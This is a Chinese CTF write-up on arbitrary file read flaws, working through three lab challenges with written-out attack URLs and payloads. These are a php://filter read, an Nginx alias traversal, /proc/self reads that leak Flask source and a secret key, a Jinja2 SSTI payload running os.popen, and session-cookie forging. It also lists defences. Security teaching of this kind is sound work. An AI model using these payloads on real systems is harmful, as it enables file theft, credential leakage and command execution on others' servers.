CTFer成长之路之任意文件读取漏洞
字数 1381 2025-08-24 10:10:13

任意文件读取漏洞详解与CTF实战

一、任意文件读取漏洞概述

任意文件读取漏洞(Arbitrary File Read,简称AFR)是指攻击者能够读取服务器上任意文件内容的安全漏洞。这种漏洞通常由于应用程序对用户输入的文件路径或文件名未做充分过滤导致。

二、CTF中的任意文件读取漏洞类型

1. 基础PHP文件读取(afr_1)

漏洞特征

  • 通过URL参数直接控制文件读取路径
  • 使用PHP伪协议绕过限制

利用方法

  1. 观察URL结构:http://192.168.10.22/?p=hello
  2. 尝试使用PHP伪协议读取文件:
    http://192.168.10.22/?p=php://filter/convert.base64-encode/resource=flag
    
  3. 对返回的base64编码内容进行解码获取flag

关键点

  • php://filter伪协议可以绕过某些文件读取限制
  • convert.base64-encode将文件内容以base64形式输出,避免直接输出被拦截

2. Nginx错误配置导致的目录遍历(afr_2)

漏洞特征

  • Nginx配置不当导致目录遍历
  • 通过特殊路径构造访问上级目录

利用方法

  1. 发现/img路径可能存在漏洞
  2. 使用../进行目录遍历:
    http://192.168.10.22/img../
    
  3. 直接读取flag文件:
    http://192.168.10.22/img../flag
    

关键点

  • Nginx错误配置导致/img../被解析为/
  • 无需任何编码或特殊技巧,直接目录遍历

3. Linux proc文件系统结合SSTI(afr_3)

漏洞特征

  • Flask应用存在任意文件读取
  • 结合Linux proc文件系统获取敏感信息
  • 存在SSTI(服务器端模板注入)漏洞

利用步骤

第一步:信息收集

  1. 获取当前进程信息:

    http://192.168.10.22:5000/article?name=proc/self/cmdline
    

    返回pythonserver.py,得知主程序文件名

  2. 获取工作目录文件:

    http://192.168.10.22:5000/article?name=proc/self/cwd/server.py
    

    获取应用源码

第二步:源码审计

发现:

  • flag存储在flag.py
  • Flask的appkey在key.py
  • 存在关键词过滤(过滤了"flag")
  • 存在SSTI漏洞点

第三步:获取appkey

http://192.168.10.22:5000/article?name=proc/self/cwd/key.py

获取到key:Drmhze6EPcv0fN_81Bj-nA

第四步:利用SSTI

  1. 使用flask-session-cookie-manager工具:

    git clone https://github.com/noraj/flask-session-cookie-manager.git
    cd flask-session-cookie-manager
    
  2. 构造恶意payload:

    {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat flag.py').read()}}
    
  3. 生成恶意cookie:

    python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code':'恶意payload'}"
    
  4. 使用生成的cookie访问获取flag

关键点

  • /proc/self/目录包含当前进程信息
  • cmdline:进程启动命令
  • cwd:当前工作目录符号链接
  • Flask的SSTI需要知道appkey才能伪造session
  • 使用工具自动化cookie生成过程

三、防护措施

  1. 输入验证:

    • 严格限制文件路径参数
    • 使用白名单机制限制可访问文件
  2. 服务器配置:

    • 正确配置Nginx等服务器,防止目录遍历
    • 限制访问敏感目录如/proc/
  3. 代码层面:

    • 避免直接使用用户输入作为文件路径
    • 禁用危险的PHP伪协议
    • 对输出内容进行适当编码
  4. Flask应用:

    • 保护appkey不泄露
    • 避免在模板中直接使用用户输入
    • 使用Jinja2的autoescape功能

四、总结

任意文件读取漏洞在CTF中常见且危害严重,攻击者可能获取敏感信息、源码甚至系统权限。通过这三个案例,我们学习了:

  1. PHP伪协议的利用
  2. Nginx错误配置导致的目录遍历
  3. 结合/proc目录的信息收集和Flask SSTI的复杂利用

掌握这些技术不仅有助于CTF比赛,也对实际Web应用安全测试有重要价值。

任意文件读取漏洞详解与CTF实战 一、任意文件读取漏洞概述 任意文件读取漏洞(Arbitrary File Read,简称AFR)是指攻击者能够读取服务器上任意文件内容的安全漏洞。这种漏洞通常由于应用程序对用户输入的文件路径或文件名未做充分过滤导致。 二、CTF中的任意文件读取漏洞类型 1. 基础PHP文件读取(afr_ 1) 漏洞特征 : 通过URL参数直接控制文件读取路径 使用PHP伪协议绕过限制 利用方法 : 观察URL结构: http://192.168.10.22/?p=hello 尝试使用PHP伪协议读取文件: 对返回的base64编码内容进行解码获取flag 关键点 : php://filter 伪协议可以绕过某些文件读取限制 convert.base64-encode 将文件内容以base64形式输出,避免直接输出被拦截 2. Nginx错误配置导致的目录遍历(afr_ 2) 漏洞特征 : Nginx配置不当导致目录遍历 通过特殊路径构造访问上级目录 利用方法 : 发现 /img 路径可能存在漏洞 使用 ../ 进行目录遍历: 直接读取flag文件: 关键点 : Nginx错误配置导致 /img../ 被解析为 / 无需任何编码或特殊技巧,直接目录遍历 3. Linux proc文件系统结合SSTI(afr_ 3) 漏洞特征 : Flask应用存在任意文件读取 结合Linux proc文件系统获取敏感信息 存在SSTI(服务器端模板注入)漏洞 利用步骤 : 第一步:信息收集 获取当前进程信息: 返回 pythonserver.py ,得知主程序文件名 获取工作目录文件: 获取应用源码 第二步:源码审计 发现: flag存储在 flag.py Flask的appkey在 key.py 存在关键词过滤(过滤了"flag") 存在SSTI漏洞点 第三步:获取appkey 获取到key: Drmhze6EPcv0fN_81Bj-nA 第四步:利用SSTI 使用flask-session-cookie-manager工具: 构造恶意payload: 生成恶意cookie: 使用生成的cookie访问获取flag 关键点 : /proc/self/ 目录包含当前进程信息 cmdline :进程启动命令 cwd :当前工作目录符号链接 Flask的SSTI需要知道appkey才能伪造session 使用工具自动化cookie生成过程 三、防护措施 输入验证: 严格限制文件路径参数 使用白名单机制限制可访问文件 服务器配置: 正确配置Nginx等服务器,防止目录遍历 限制访问敏感目录如/proc/ 代码层面: 避免直接使用用户输入作为文件路径 禁用危险的PHP伪协议 对输出内容进行适当编码 Flask应用: 保护appkey不泄露 避免在模板中直接使用用户输入 使用Jinja2的autoescape功能 四、总结 任意文件读取漏洞在CTF中常见且危害严重,攻击者可能获取敏感信息、源码甚至系统权限。通过这三个案例,我们学习了: PHP伪协议的利用 Nginx错误配置导致的目录遍历 结合/proc目录的信息收集和Flask SSTI的复杂利用 掌握这些技术不仅有助于CTF比赛,也对实际Web应用安全测试有重要价值。